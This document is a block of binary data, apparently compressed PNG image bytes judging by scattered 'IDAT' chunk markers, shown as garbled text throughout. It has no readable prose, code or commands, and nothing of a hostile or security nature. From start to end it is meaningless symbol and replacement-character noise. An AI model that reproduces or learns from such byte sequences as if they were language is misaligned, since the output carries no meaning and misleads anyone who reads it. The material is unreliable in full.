,(+数jq'u�U-�����;�ԺP�-BY���5�p���c%���ulUJ�U+x��l V{-$��,�F��#-�%i�I�ϚzAo���!cZ[*�:�ۨ#!��|�~��H���g��bE�M4J)������֭{����]]]O�������Q3&���"������#�>s�Gڂ��JT��s��
��䭌C��t��`G�@�:.��{�
�+�nK܋�.�����[8��,+`L� 0��@������y�`L� FƘ�<yƗo������U"I��C�
B+(+���9�����%`�8A����)�z��6:����W��C'���K~�_���>!D��2��"`��/P���]��O����{�=�ܳ������D�I�!ъ��(Q��ds8�8�ًjd�%�S)�.��f�K�Gr��a�@MB��Ò��_����'�jҥ��B�
��&�Q��(��\�t�;�u�#+�I ��r��T�2JN��-.�N]��y���F5x�0<]�/���N݂gv�x=\��`9��"��9U8QE��
T��A��z�vlǮ;m>]&��7~kO<�B�]�ƹ�<�Ԙͩ�B���|߷�;�9R�������
���ڿ̟�b�d�@>��6{��w���6������l��� 0&���3�ْG��K������\�y1���u¡d8J���0s�(8b�=Ly�Z���q���`#�[Xqέ�;>�!z~q�&�G��`L� �z|5z�/b�A&��`���1�o`��o>���%|�܆W눭G�p�>dzўD��Qd>wL� L9�4�ʦV�:M�J���I�j����r����S���g,��9,|�Sw�|q�\K���m�v��?~�Rj�m�ܲV8��F�Q���s��C\&�P:�ߤ��R��C�gs�%�Q[����M�DL���S�KSo��$�Mhm�d���el�N_ZzՖ�L/X�.)�*i�mc-��l(�� �/
��(��u<[ʔ.>8�A��!uO���b��\Ԏ�"�3��0r2F
M�� uZi(cPlk�K�"�X]�mb1��V��7a�X��
P��@��]{vb���Q�eY)l��2�L� q�?3_�K��2%፞�vK͇����Zn���<϶sj��T\w]���.��ֳ�>���k`�"�s?�<�L� 0&��8Cw��ex�'W�y�?j{���j�H �((M7h�$��;&���@r���y��"�4�B�
_�a�_b��)�0`L� 0&0��Z�<�L� 0&�*U1����v��=u�anxeD�8�cc�8����rP�q�c)�0��$ �;sI��p���]Qz�L��t�n9WY��\��Ϸ"��K9n�����#�\�B�'��7n<��_<��{�9�\./�R)e��8�Bfr%�Q�T�W1�7V��!��(eѤ�m�*�jI�bR15�iH�\�w�:�O�����PUݒ`U�%�r�%��GIqiJ��(�s]x���!LX�'4J9=���]+�},�V���/.#�48ӀT!DZ�56���H�@���E���=��i�=C���6�N����+W���ʠ�GV���d��d긍e�&�A
+��Gm�V��h~3����Bq$�1m�Q>��U*~��k�}�뮻����uC�wp���7`L� 0��D����v�ܿ�����&��E鶉Hiـ�;�#�B�lZ�</3�#+����8�B�7��v�����O��?B�g�L�2&��`3�q3l���2&���nR��ݎ���{��?U��gE�r)i�f���r�M�����Vߝ;�#O�\!`��HG!)�O�id#"+����7�~ק�3�.�������
2u�i��ڟ���144�pÆ
g�ڵk��߾&����1=R�<�E��(J���jV��R�(5��zdeSo�T�HQ�6�l7ۚ@^�
s�3�-��Y �@Y�̅��I��g�H���YI�Ɠ$��|7�$I�*�qF%:A)�.<݀���e�*�b^!��.��屨3���@���:ݞ�b�F��M�l��Av���]�tB����G�u��5<�5�k��b*�J�ix���6�JV������ՈD�$%�@em��DN��1��H���ضcj���kj�|ަ�ѪT*�l�`�)�J����K.���SO?���{�^��m��f�`L� LG��]=j�#�x��^w/��?�"]�nؽu>5OӬ'���`x��Qði-;+.�V��pԣ�O?�W�A&��`G�qG?�� 0&����!���|�-����o�<wi�Tە��,@Ҁ0~�@��xd�,y��E���8E"���+�
A�W9ƫ�v��>����?Ρ}�"�Q��;� P�h*�u�ܹ��g�}vuoo���b��FQkkk�W�TF�*�r9+ÑG�[siT�娣Ϫժk�;�lE����5�x�\Ҕ�a��j�=����TJՐd��p$��V1�b��ƥK���m���A"�Q�Z�:�/)(�RXA�Uxq
~T� G��%��A��"�
�@O� �R�Ox���$B��<�_D9��7���vb[o/oo�t�ᵠb<D
���h�0ֈi�.M���B�4�C�pG��B���lM����Lj�J�R�nooG[[�m�I ��</�<@k���+��몫�������B�@�65'�`L� 0&@�����ʣ_��x���q���;�t���|e��z��(EG.<��N@���s>�OXx�����:���cdL� 0&��>�KK�� 0&���a$P5ե��u�gz��_k���b�aOx�B�I{�]�2�a�4`
@'$��`ۧ�(:C)b8�#��j�S������z�͂,9��$�&�RTP�TJ'<���'8��;�\.��FR�2���hmm�\V^�J����G"=�mKZv���R��G�FZ!.IpkJo��]"�%io�g����$�)�H��I�T�J[�-v���r��F�H��Pu�p"�
gj�)�,hŚ�]X֕G�*�U���C��z���hW�T2�
X��q��5�\D^+vU4^�S�k;���[C_
�e�/A;9D�E�HD&M�S
���)\�ڠ�X
��p�߸V��b�Iɤ�}W��$0N��4���0J$A4�m�㮮��^��X,�J�Ґ��q�UW>��>t����}�*����o���`L`60��~�{������Nn�c����Q膰d�;&�����&?C�ۦZ/�d�E��_��9M���1&����X���K�� 0&���a
`��m���}�?}�l?'rk��
�Q5Be���D$��<���&
@�NR�QY'�Q�L�����]|���>��<�v��co�@�b�\^�cǎ�6n�x��7�W\������_(�8�eV�0�4CuCCC��谒��y
q��I��d8z�J�R��K��b[*đ�F���7M��6h�ڒMT>�JI�l�U�:�gℓl����l�t���T7����]cyw�,���:�y]F����-��2m�ԀI|5�ڻ���/o��*'|Eo��뻆���������G]�
�Z�B���r����\Q���.�p��p]ĮD,������d:G&S4Y�m�e9��l���0�t��;���9���M�Dߛ�B�p$BJ)t�������Jqă�?-)eC)�iݺu��|��w���\`XA+wL� 0&���%6���ʢ��w���q��z��+��CH�%c�&F����HZ��#�-����D�I_*���_b�SS75<&&��`L`�`!n�.y�o&��`��%
`����_>����ښ(F"o/��vFC�!�QL�4,��E��c�Uq�
�C��:j�
�~��a��'���//��w!� �=0�1��p9=�z}ن
�n߾���v� X�;�d��/ l*i:�g�Ipc%������H'�L�V(�� �JB�m��x_��[Ζ(�p
�V��hLeV]�u�����!��FSE^W�7t���o�Q]����5x�u51<�p(�Q:�$�M�����#6��G�Ѝ����*��9�Wwa�`�
�й�c*�
��~R 6I�H�>J��0T�R�$
O�`H�P���=�A�<r-�&->M��V��m��d�k�,�%T&��[&����o^��H%Q�#��8i]�t��˗S�6)NJi�$'V�q]��K/��'�_�=���/�-�`L� 0&�@��Ǟ�]��F��qATWy���(|��W&0���OH�Ȼ����ʢ�?����;�X�{꧊���`L� �5,�͵%����`L�0���c~���|�k�@KciYI�Bc��&��;.��<�K���'@BJ�F�ԊH+x�����ҫ�<����k��*�����0��(�t/^�~�CCC�n��V��e�\�Kk�p��٦�GYkFٔE�>���QI?R"VR:�
Z�%bH�3��TI���:��:LT�'BO���EX�����8j^��\Ӏ
�C�
�
tA��n{G�)�Ҁ.�_@UEImE(�Ǟ�*6�-��m��S7��h��ۂHQ394(��
lz]�Ѷ������lXiS쌌��V��ҖF��O�`5��I���{���'FD�t�g���6���7��B\B�p q$�EQ4��H���!Wȣ���mm�Tʶ���V344Tw]������y��?~��Wo�<�e!���q�L� 0&����$`S��W�o߰{㏮��+�z�P�B��\'x��,����G
���̯z}�y��˥���cgL� 0&0W�7W�4�'`L� 0�)
`�)���_����R>s�R�eB��i��]O焸)X"<
&�/��z@#��hM�Kh|U��E+�y�{>��%Xt���̎ L�@*���ڽ{��7n<���w�m��zA���k4��\Χr�T*��L��9�l:
qtB?ҔfE��)��1�<F`%�lJH�T��>kI��%(X�U|S��N�Q?�D���wzX���B�o�:���7)\���C�ϳ�"�Q���%����,�?
���/oƛ�k]D^�d��b�(����gE�o�
V��f�ܬ�G%b�2l"�ѧ�GB�vI@S:�g�@MJ��l��tR��$�Q�^C��d�&+�M�����B\B�p qٰi��d8J����hmmEgW7���T�\.�(
�?�T��ꫯ���s�މ'����B��d��?&��`L� ��!%��룭j�e2�y��O��0�)'@��t�纈k�i��c~��I�|N��^�� �2&��`s�qsr��L3&��8<��:v�{���o���Ü���D�Cx���%t�����wL� L-�Wq�S��S���o�{�{��W��{�����2ǖJpd6QiԶ�[��|��GOt]���n��d�uW���#����dH�I/V���}6]�8%���tJ�P����T"�J�8��R1��m�)�
q�����6/�Q�9�����6�n����S�Gɥ�7
h�(N��$��qPWTv�"�r~
��oh�7^�1��v㍽uTE"�5�G-�Iz8�T2��Qz�����pG�J�@]"�Q�������L��i*��A�R�ӈ���\Rb��#8
!��R���@��OVt�lc
�������h����a�T�.�JhooG�P�����8��C�\��]���>�����7���2o�f▁�� 0&����%`�Q/��߿��}��^"tH{�Gv�x�L`� qtL(=ı���-.�ԟ���;�hHx��`L� 0�#@���#�G��`L`60f�ҧ���G���-l ݚ��T&��8�馩�Վ� 0�)'�PSo
���d���?���p�CB�ڔO�pF��@�ƍ��kg9�8��o~��ˇ����b�Jp�J��Y9�Dz����G����]��8��`d! %���A}��p�!���Tђ���8a����zڋ(82,��5�!@���8�C([~Ճ��mJ[Y ���d��GE`���wU�����P5"7��p±%J!=[Tt�ЖZ�k�B�����鳲�u�F�H�.+z�d8�4����ԓж�
sZ���N�qN"���DÊr���:��j���d�k�,�%T�G|)N)e�{[[:;;XN#���ڤHzMb\Ef``��f�q/�Ys���G��V��6��7�6
<�L� 0&��c����;�_�/A��|S� �:شX:<s�;j�a����اz.��O�_�r�smM�eL� 0&p��c�cfL� 0&0+ cr���o����w�\��ʮpe(�]6罐Y��y��;GJ4!���i��Wo�{��k>��e�ݙG�6��2<r�g���v������7o>��o>�V����r�0�B�}I�Ip$�dI2Y73�8�XS�P*J�m.��0J��1D\GW��}���
b=����baG~�R�%Y�h9���c���21SZ�
�^<��Eh\(�h�����-}ul�5��C5ӂ�lE
yTb��(�RZ�H�ؖ+w��Q��Q���v��Hʥ�4�,ŕ�7ʶK�Hd3�G���9�A�n�P�$��gK��p���N�~���&�Q���5Y�m����I�yKS���p��X-�`�1�p�{ &��o��5�Ǜ���eȆG��M�R�L*%��:C��?��J��G��{M__�))��Yg>����w�X��A�M��8r?<f&��`L`�H���/���ѕ}��\��v���D�r����0t�k�@���.�k.�k`���O�b�1&�����R�^�<�L� 0&�=:�X��5?��?|r�=ׇ�P�.��F5\)A�1,�z�<D&01aS�<υV
�qi��Y��.���vc�sB�����>�cL�D�j��`Æ
���{�M7)WH)��~E��<��@���j�L*�^$���㨛�B�����5.�U5���@WPDESEw^cEw��aa��@�m
�K��%UM��s�gH�3ʊkp\��V�.�"��ۂ
�S���[����s����C,
P�a���@K�ʠ�$�6�]�@h�����G=j@���&y��D q��H��r�ԍ�(H�Ȅ��be�g57*�Hpk
IDAT�A��>�eT)`���(5χ���PN�
s�v!�pX�;���x��t�h��Ҩ�Gm��8a).R
A��"\__�}�y���%���(�s�<y饗=�~�!O�i�mux~�`L� �=6%n����/�s���`��"� 0��%@G}�ң��x�Y�dϹ�g���]!��`L� 0&���qS��G��`L`n6��^X��O���}���t
��"+�)�J��-&<�L�ا�a*�X�$yXy�Ϥe)m(�I�������<e��7�P��t�ò�f�@S�cxx��M�6��o���;�7�,�R��a�#C�d7[�R҄���M�"1�ާ~h�TT���P$U�Cω�|�$x�!^i2��F�DtT�j�������Щ}��Е�;Φ1%퇤�dIZ�6M��D2��*��2:�K;\��_���~�@U�*\݀G�h��$���VDl[:�Hz�!�9�n ��V�i�
�쫣�.P��sJ"eSל$�N8v{�m���V���l�R�Ѕ��2h��-Y')cJ���i�S����ݜ���E�'�bk�R U�D�!��a���}�,G�*�C�-�Ҳ4~���0���_ށ˦����ZG�WZǬli++�ޔ�ؾm;ꍺ�}���w#�4�:
�K.��5/�������J��s��d%� 0&��`$��Ľڃ�{_�w�aA�^�
�3Q��z�Gv�l�F���MBNC��9J`�L`�0��(:BN����h렿�4-<I�q���!5��u�Q:���>���[�(�w�kk�/`L� 0�#K�/EY�<v&��`���M�+����!oDZUQ�I)��[*-��^
� 0��'��,ɃDJ_�������DRiC�i�-F�IR��88�B���G�:��y1���w������H.��vV���O=��}�η�}r��+����7*�5]2JV�L|}� kpSߌJn*@�s&�% dT�3��5]$'�ɍ���"V*���It2�����VR�ڎ��ļRb��M��7j
T�q�i�F��!�Dl+�:��^,j�X�ӊ���/-����W�KA߁���|�4u�us�c�)"��ȡ*J�\����Wv���h��&r�����F\�P��J,Fe��O��`�>������S�h��Ip�'d�DY��.m���v�6,.w���6�&���V�4#2�X�ly����@s�\25�2�$1p��D��kY?�7ɮ$�E������ͮw�jd���]DZ"\�Z�)��9��%�p�x)%.�\ύ�8�{��������\�v��9-n6nyx��`L� z���W����p�����A�VG!W"I��XCK��NVA�Utފ��i?vt���O!� Lo�O�qtl��C>����cx�P:8t�W
5H�.D��R�k`P�lZx�o܈gA��-�{�y�`L� 0��F���ٶDy~�`L� L�P�K�n�����CW�}�BT�~� �S�gL.O�1��KjS�D"�ЉJ����t��Ǿ��F�#�%�"�[��x�?��3:���:�]�3f58,��n��\v�ܹp�k��].���~��UA>���$����<�=�$�5�q��QiN�J��l�Dh��V'!nt�6��jp:m�ϓu���Ӭ좝6z�����Q�-Ǩ�֖��A�e������H�8j
p_Dp�
���6�`qg K:|��ly�@D�!B�k�M���ࣝ��^ ��C�.��Ԁ�U��{��awM�,[��V�#N�Ӟ�2j���;��q���ŵ��e�ϛ�k�J6��O�;�wf�Y�����z����ʸ t��ܞF� k���
��
r-�+�����7���
��600��={��B6�I�˦%K��a��{Zk�n�SOy��K.���^�m�a��@�`L� �*�
<�l~�7w>}��;��t}�C�V����P*�B\�P��������B\s^ܬ��3�@��{�H������צ-zP�C��N��!�1\��257RQ阇{N��G��7��-��1&��`SM����&��cL� 0&0G���:^��[?��?��w����5U���A!I�� 0��%0*�٤�L�˲�҄8{�t�2��J)B�xD'�%P��]�~�ם��1O�z�`����]�1d���j�c���N���[o���F����SJQT�-���{+B\"���NF��C9j���];�:���eJI�#�>��C[*t�p��-��I<#2�M�#�MRk��.��C�BQW)�I�BHӀ�\5��(�˯�N�zrX��$�p�a�R���Ҩe;�q2V�SN��Qw�0�9a��{��YV���n�/�a<ԕ�^*�%��6MgҤ;J�b!n�8��8�t㱢��%�e�d�q��Q��F#��[>�G[[J��ߨT2%����A%i�\.[!�R)á2��Lo�6לG\EV���]���0����8c?�g��썥R�qu�g�� 0&����&`���S{��x�������/�r��d�i��U�laә���9���C�dxx3�@r�%�S�b.�D@���^l˥*���i�mB۶#�B�Ć��_Zv�M��>�e�/}t&�7O#`L� 0&0��7��'�
`L� 0�iC��
������gw���r��E*Ґ.M&q�fa�� I
u6�*M���t7;���}�1\���M�����u=v��ƚ�S��&���
<����!
���
/���wlٱ���qq�ð;��;�ZM8�#����ߊg�̴t�Mk�ioIP�"�
q:I��>L"�9� G=�zF%RI�m
�㬞fK���zr(�A�@�Zi+�8���xB�Qu��0|SC{�.
��[%�Z�0��^��0
"$�U
��.�p��gR�����"�Bo�ֱyw�#�%��ǰۊ!�̳�pш4�&q�n�.)0���.)5m�&#�57.�ڴV�g��c�ܾ�K�&�i"�R�#�:;;��ښ��$���$��3�l�����볟�Q&�sS!���ʥf�$��𫕊��V(H�ӅB�Q�Tv�~�O��_��7W��K���� 0&���l&`̖N����?��w��g�P :F�~`�k��o#⛽�̾�W[-.Mi�͜xޘ��F�8�D@Bc�!���ɍj�O��e�~]j��Ӎp�P�=�u���Xr�w����)3&��`L`� �7��y|L� 0&��*�WAe�co��w������*�)"��M�c!n��
<���@"�%E!���D"MN&�Z#]֏ͱ���ʃW�յ������蟋�^���T�km]{w-�Mg
���7���ڶ�V�����<A�
�.LR�V8�(�ފG�n��5�$�V���8*g��l0$�%eS�KQ����t1�=$2\��ۿ��6[B�n^lMaHc�88�A@�Lk�t9��4��C⨞��=���j��i�ҧqGhx4�*B�"�A�y�\;�PGâCh���U���C��Q Q���4+�>�6�Bhe���j���g��-��6z
.)�7V�ˉJ��7����ށ�;�8';�C�_6⚶
���7'鑰�0��Ȟ�y���Ix�D6��}+�U*+�U�U;�dxtY9y}�i��~���w�$�e�7q���-�V+}�w���:�{?�ۿ�S���s�'�g� 0&��8H����9�W?����E��0PN�FL��ބ�&
P��⒛w��8�:�>+�+��Ko�����MaoX#A���8�dۍF�TE)�m���~����I� Aw�q��`L� 0��%�B����1&���S�1�x庯��O��g�Rz�qM�b;�V��CD�I�K���]���o pT�e��$�4^�CPi����X�u��Eѳ�Mf�
I@ @Ϟ={V=��k���w�q�����Qԥ�HH���r�$��G�7*4��q#�J͟[!N��$�5
�R�t�Zlv=h-A�pI��V��rEVF�TT�(y��t��FEU]*c��B�1��C
�:%�u�X֓Gg�d�Q4���
���E1��q�A��)��E"���XKT#�=e�7�������T����S�rs���"�+�ݨ��˦�u(�N
#�a�'a0M�$��+�HX�7Vs�Lr�LM���s����6���2�������f˥��$�e�pĖ���!�
�^�[��6�[B��q�uږS�yY&)���E鷈:*�Jà���s�������;��E��/��s?q����z���4���1&��8BL�w1�������V�픢�JC�!�
8FóξA,龚��:����$}�;&0�dB�|)���F��m"�s:�kR��m�������U��\}�D��E�� 0&���.xO~�, �&��`���1F���7~�3��\MͩwI�"���,\�<KSB
�c(�"1&)�Jg!����$y�
qtV�N�;t��QK���I߹��7|��).���n��J��j��8��?��#���<���VJy��m$�d�o�7�(�LbJ&�����qv=K����dCJ|#�漥�S��%��a�=�,��3�S馎ӓ5�,����@(
�
����bp�����ػ���k{���f?X�� cXaDK4BA�Q�izB羱�N���9U�wZ=�=#ͨg����;}oݪS�9u*�_����O��m��ߓۡ��/�7h�}E��#a�|q6kA��8Ƕ�glh`t���t��@I�J�j$�C�Ժ�!�}�!�!��
5�&BftM�!��N���l��L�ͫ�a
J$Pk�=��m�E��me�J��
a2J�hXr��3��s�E����T��;Џ��t�qG��J�<�8WF���p�� 6�m��.��J0�
���Y������ZV цa`A7��ii,��VM�ZF��o������v�J����K��;�w���y7� �r����
x�^��W`AcL���k������/�D�5���
�@1��ND���9��tM-����D�a4ߜ֟6
�)����p6D�"R)h@�n)qc�3;C`a8Eױ<V�p�����b���26���_�[��
x�^�5��?�_����
x�^��W��in|��շ|���^e��Ѝow�V�߲��2%$����nNG7&�塧u���oA"����X���#?v�[����+?�ئ�'��~�ϲ$
������s���s������w�"��"���^�}�
z'��8Qf)�������
��~+`�~�7CO��0N�0����P���Vz��A1�����"�-l�3�I.p#!6V�
6��[�:E�8BrU�:WL�12#��RQ���2��t��9쟕o �QC�
���4�!�r��]$�L.v�����WOs����mE��(dc`K����e�]����q���r���22��ǩ?�V���^�#�e��ȶ�,ϝ;�h��f�~��v.���Pu@l_B�N�۵�(�W-`�(2����oZ�s��M��/����}�?��W}
����@~�^��W�+�X�
�ڬ���+g���U���t�%E��79��u��S,G�t=M�W~m
V�/� V�qţY�]��{R��uy���jz��
�-y��w��
?���|�;9����
x�^��W�
�3y�8�^��W�+�8�
c�I�~�?~���8ځ��8������
�qPS�p�A�Q�"C.;`*@Ȫ��Iw[��[�rݯ������p�gC)�Q�n�;�l6/ڵk�Ž^�y��v�5q�H�j��cGrx[ x;���%�\�1�"�(����(E�8����F{�݅��O�[�ڶH�d�NQQ]TUC��m�[�l@M�y
�S{K^pj��\���.�$�K��y]�G1� �gJ�����f3�d<�U��{�gg?B�h�@�SP٭�s�*�Α���|�B��>���EQ�����̺�ٙ�C�ܥ��q��oG�]�{��h��i?��-x&���@X��C}F�����J�ƙ<xsss}�o��������8-lKϑc���W�v��g/���.�䒯���Ϸx@����~v��W�+��
��
cB�{.����:����*��H��G:���������9R��+���kW�¥I�?�~T��N�
F��`����"d�FGǺ�Ι�|��
�_�Y��M;��^��W�+��
����ک_��W�+��
��
4��s�����t�>�]mnr�~�
x�]�E
�E1���
�fd`��x`�I�h�cd������s�7�_y��y���_h���.��E�Z0:11���G�i~~�ҏ�v�90f[�Ýn7 J�f��ӧ���8%�M�E(�uB���a�/���X�l"x�h_�Z�A�2�t5�b86�R�9b[�a$HQ3m��b.ZR �q�)
F)52
-�*���u�}�9��o��kh�
�*�Np9��D#"�v�4�y�J/�⌲1��J�h��厀���J�K��jp]��6��n/
��Y����U0�\�N��@\�8GPj?JP�WF��V�q�Z
���6*��DS��S��o61;3�N�c!��er���t�ϥ@\�H�HUr���$�s�$I���z���w��o}f``���է����W�+��
xN/��?�'����������B��u��!7g��Ń/t���a�^-�o�j�s�_�.a�2�W!��GH�U1�-6�7w{�7��#j��KW�>?�W�+��
x�^���?�?��ez�^��W�+p�Ƙ�I<�����Oyu�*�Ib����W�+p�
�Y�;�4C@
�B��k$2p�Aܓ�D^Al�fF+;����76��������4P�p�0��Сs���o_n;����,�7�a4�8�r���N�4O���s����qƐ�.���\I�2wnp��X�(�!�D
{y�i#a]���Ņcl�H��� F��� T�
$�Ԭ�ܢ�Z�x�laߜ��S�U��c�A]á�+�:�
�H7c�रK�w.:��s%���^-�Z��ئ���ܠ��zsNrˉ�9��Ț�q��+��̂wK'�y
��M-2�\�h���o�[
��&�7r�۸q�u�+�A����P���HѨ���hw:v�.��X�ѭn����d�f��u���V*�����<7�jU�i����������.��n�y(n�b�ټ^��W�+p�+`���Ϛ���%�.:�J
�~L���+��at��\���X�
�G�(u����T3Uq��$
�v�h����&O���[�K^�G��A�ڼ[��f��W�+��
���ک_��W�+��
��
�����n�������ǚB�̟���5�7��)����qq���͵��JQ���zm�Hduˑ������±��?�F�O\���O�W��䁳����_�;��Ƙ-Y���q,Ƚ��F������ƈ���H-��a\�uNT����#8��Pi��HL�����Hl�u8��C%�G�K�/���!�a�j;��X�(C���h�����wFb|V�)�����)���Rf20���L��ap�d�|��\�;�p0�}j�9lj��7�J��L�E�ǡ9�9'��8��G�p���+�Z��<灸���H��%.��$�Q�E���@����,T
�Ѿ���u���T��B�j �.����?R9餑� �崿P�593:�;v�7'�o~��y�K^�|��Q����w^��W�+�8�0fjG˥�
IDAT�����8,��c�*�0�9�Y��b��{5]��+�pq%Gק�q��k43
�a:���j"�V�?8����\�9�X{J�7�+��
x�^�5���^C����
x�^��Y��imzl��W���g��g��'��W�(�8��,t�\�4"{c2�8��&b��u=6gc_~�����]��?��
\``rnr�=w��0
.��g>��V�uc�ANO��F"���A+%�r����6f�n�G�Q�(8Bh�&G(��&*��:���T3�9b�`��H�J�Z��ҹ'� �?�r�C��p��(ڨ��fT
��O�d�;��dSB�XI��<DO��"@E�y��j6JLrFp�ъ���br�+.�i^�D%`��j�S����(!m���CMnk�c#S-gsmmY�����;�-�����7�G%�i�����J�gDz�Ք��=���%�p����������~��:���Q?B.lS�6"�����\�K��r�R���)�@�y99�q�0
\[8�YsE��gq���o�iץ�]��w��o��zޡ�=��Ԃ��M]�7-���\���Rxm~�
NG����ژ6m!��^ܫ<�X���3�O���K�
x֦Ƙ�C������
�FF�����5�n�
<�6kӗ�D*`�82N7���50\�Ϭ�:=�T�*�!����$F.�s�����ȩ�HS?y�^��W�+�x��@ܳ&�_�W�+��
x֗������?����y0����
���Q���"q*�8&4z�6*1�<������n:�������1Ƚ�f��7���������s����xm����<��jLJ�b)��^�LR�ĝh
Ψ�c�my��iT�Pe��j���(ǎ�g��X%��*:Hts*�P5J�,5Hj�t3�\�x����AyPǾ9�m`Ϭ¾y`2��6d�
%*P&��l
^AоC.S9�(�X!"P�\����S�P,�����Һ�[5��+
9��J���+��,g(j�@r�k��%��[�g�w.��ph��Qܥ��3W��w
��U?��1��}ѿ�4�P\ ��;��791�K�]�W:������Ѻ��!�v[�žC���ѿ�0��_�&
C�l��_���|���>T�T��㏃k�ආ�C�+�&���
Й!�2��*Sz��#03��G�����Uo�nw3��
Y֭�.�;��ť���L;��i8�nZd!�VS�~�$N��� 摈6���ZHTw�hk��Ȁ��`��~[��y�5�}Q�^�����'jx�+o{����M��\��
ȇ�����p�CŨz �U�_�V���[
5�9�8w]K�K���3��.���9��ޭ���ʿ6��y��`_4��W�+��
�<�N*�o�W�+��
xւm3��k�~���z�_!��7w�B�|�������q�q亇PpĜ!���A��3?��_��
��ˌٻ�~:�(\jh
~���uϷ���0���?x���h�#d�$�
n~�v�d!�&Q�\� w��'
�+����%�WB5�Wm=�a6���5lI0kD�dMT��0�~HO����9A8ĭIH#��*���6�^�G&s��0�h�=M�����,@F�
38zIE
�x��^��M�xT��I�jG��N�$(B��Ou�bp?�JO!��ovF����s�
.����g�T�n�s��ΞȁwK'��:Ƿ��G�V*
�^�[���z�~�t"������)�Z-��re�*�WF�����H]��⨌�pn-9�#�/��v3����,M�㣔&I����oz�K��;��?yֹ�~�Ƙ�A�ӺP�pW
��!P������U��о:s5���v�n����A4����H�9��מ��k�ǽ4Py
�&�J�<�|R�?gZ�Z��h.q��q��a�P��D`�lZ��T3:Pv4z�q3�)�*�^R��yuS�X�TAshl�8�FgV{�8���!��'-D��0CNdނ�T*]`[�v=z���u����
��
��Bo���#�4м�=]�����ą����큸Ӻ=��[^�ѹ
C(9����v��N�B��TQ�CG5Z���uo|�_��۾ey�^��W�+��@�Z�_��W�+��
��9T����3��gi<��ӄ�.�C��}��'`��;�C熒������\F�j� ���b+@�S1$t:�Q���q�K�x�?]s�}�¶��:
\
��������:t����ŭV��J"���.٥!r���˓�/$�KJ$Il���-��"6�t[�%��2�S[�4ji����2����]L��q�L��d��
z�b�9IшB��D�{H��>�����HS�h���
�� C�C-�G��wFcZ���
Z:�����q#i�t�r�(��{� ������lCq0�\���-sar��p.��-�K�&��6cE�g+~�p��s����
H��c���Py���q��[���Ѳ�Y���Z�bttԺ���,Ae�o��f�����w��AsR�W:V��k�z�]�ʶ�t�8�:�.q������-���"ū:�8��i������z����n��.�A�S瘸ڒ:'Չ�U�|"t�&��j
o7�n6�ԡ�ى�����!-�a�Ӡ5=^y�
�ɣ@g��*��-�0�G ��y��aj�K�G1���<�>��=K[�W cۥ)N�u�U;��?Yn�R�
d�^���ZK!�z�
k�VOq%u �J�'�F��IF��On�8��m�>{Q��
����vЃ���Y�9�,w���j�����
x����{�+o�>p���ٙ�����w���S�O�k�gd�~!^�SD�H�(2U�k��k��w/��
dJL�DS��~�[�g���2��)����^��W�+��
��
x �4�`�y^��W�+�XK
c�.�7����{�k/ו�M9��AB�<Hjh�7��3P4�d�F�֚_h�У�@����O�)O�4q��B�2{#R"F�b�\X{��^�3|��_�;�ƅw2����Ok\�������9�����^v��n���
�6ve>b�IX��b:i�\����轄���
m4RM.f�t�d4�O�i�`F�\h]�h]�
^��F��
���P�����J5�nk�G�\Cd-4x55�汥�p�XcU�]D�!d��@�,`�un]�!3aˑ�)�
��x3����;�h�2H� r�܅�4�Yw�ͦ��Fe��5a#W�S���"N�1|w�qI�Ή���_Oqhs@��Ҋ�UFS�:�����::��sZ����4��r4�̀����x��p�G!j�}�ȥsAa4�Qd���c�3��%G�'��@���y��Π�l������~��3��y��/�h�s�zX����܋��>�Ϛ�ed���^p�w^�қ������s���5~P<B�h�hV=��9
��P���ЙžG7��&��1�d���Z`�*��0�:3j�A�84g�^u�=8'����e�:�>�,��<e��B�0�⩟����p����-���>c�HT��[��a�Lƕ}wg M06�L�R"鲨�
��O�2�ukÛ��-;bt�$j���m�6�x��~ʙ�,Y�=�����
xN�Ƙ
�^:��?��j�ث�$R3z��S${f��}���̵�����`L���C_���"����:�D;�<���|?�>����%�
x�^��W`=(��P�~�^��W�+�F(@�����-w��;�СK;fZĕAt��jIY��'9=�Xx�
$���<�Fj��d+����~Y9�ڡZ�"�<B����/:��s��o�H��:�e��;6�����ʹ�����N����cWi�B�5[mDՊ��d֍�^n*�ʈ��q�S�>�
.�Uƅ��T�F�nFa_
��:ΐӠ�x��ʑC!'0�
8�2%�3�T��`(Ȱc8�٣!6%9jz��G]7J�+���h}<��!�=
֑uL�{�{xb���v�UG�q6�s�"��`��h�R���������X��}�e.]�j�w��,W�����ە����.��H{�jʳ\��`���S;2��@��vH�Nn��[��>�8���R۶l���r�fwȢ����M�]��m�Y��&p��>�l��[�z8Z�rҥ2�k������`*���/���K.����_���v3���Z?��Q�86R���l�N�3Ϋ��Q��0�g���'w���:O�9w`S��a������\�L�@��0��=��c�r
F䋗S�x���vTXk��6��J+�m��f+#��Ƕ�G#�vcp�,�M�B4�
��$Gƪ�ǯW��y�π��=~v}�
��~��4���@�b��Οr{��π�~����;
��$Š��W�A���}P-����97|�_����o��)Xݾ�^��W�+�8M���i���
x�^��ZU�Û8t�-w��o�w���6&"����P7G5��(,�$�H��L�n��a�|l�Z�__���s�vğ�<���
�4��ܱ� Ld�f
��[^���;����։-�_��*P��a[�����wߕ2ϟ{�m}U��=/��*'8Mi�a�^'����S�T2#0�17��L(c$�S��`8=�̈́E+�g�"Ee� �0F����:9O&��r���F`,��b9���æ��Y#v
�&A>!�M��٧�8g�f�t�]�f$O�c :��6��`/����O�0�
tX)��B�R�Ûs�*���G�l9�l9��X��Հ[���v��v]K�۱����j4�yW*�J�����{�r�|�_g���6����m���l�dY�`
m�0Z��1:2�$��o�Rd��0�~�KS�[-���Zؔ��-|V�p�u�lq�����6��8�Q5aJ!��k_�����o
���b��H���~�{�����ݙ��a4����˧�^ٚ�?dړ;B��T;a�UmD�L��]��`�l�/�_�Ȼ�SS\�̢7�6ʹ��Y�{�)�L��V&�<��L��ML��͏m8�]|Dž�Ʀ�O@ϡR�q��K#�k�l+e��+��
�`�9T�Ԯ���sۯ��Go��͙VF#
�9�����<�E�
�!�D�ڦ�`x�/K��z�>����FW'&�wm��M��ȕgl�����
x�^��W`M(�5Q
�^��W�+�X_
�LkӮ��������M�yqF.CAHW�n
d�$�D�F�BW����z%汾�[�p
�*F7"8AA���S\#C�D�]o]���ҋ^w���k����v;?k|��&&�^p��o}��jC���J��n��BnY/CĶ��3q�0
Ύ&3�]�~p06��qt�=�M�n�q��Z��#L���$��$�E�
5��C[
#A55�0�F�ۈ(T�ip�'ɵ���i���P"A�L��M��3:3��9SE�A
*�Y/Di��k���a�U6�� �
Zqy
��?�D[z ny��X����юeY���J�-�]
#�ߜ\
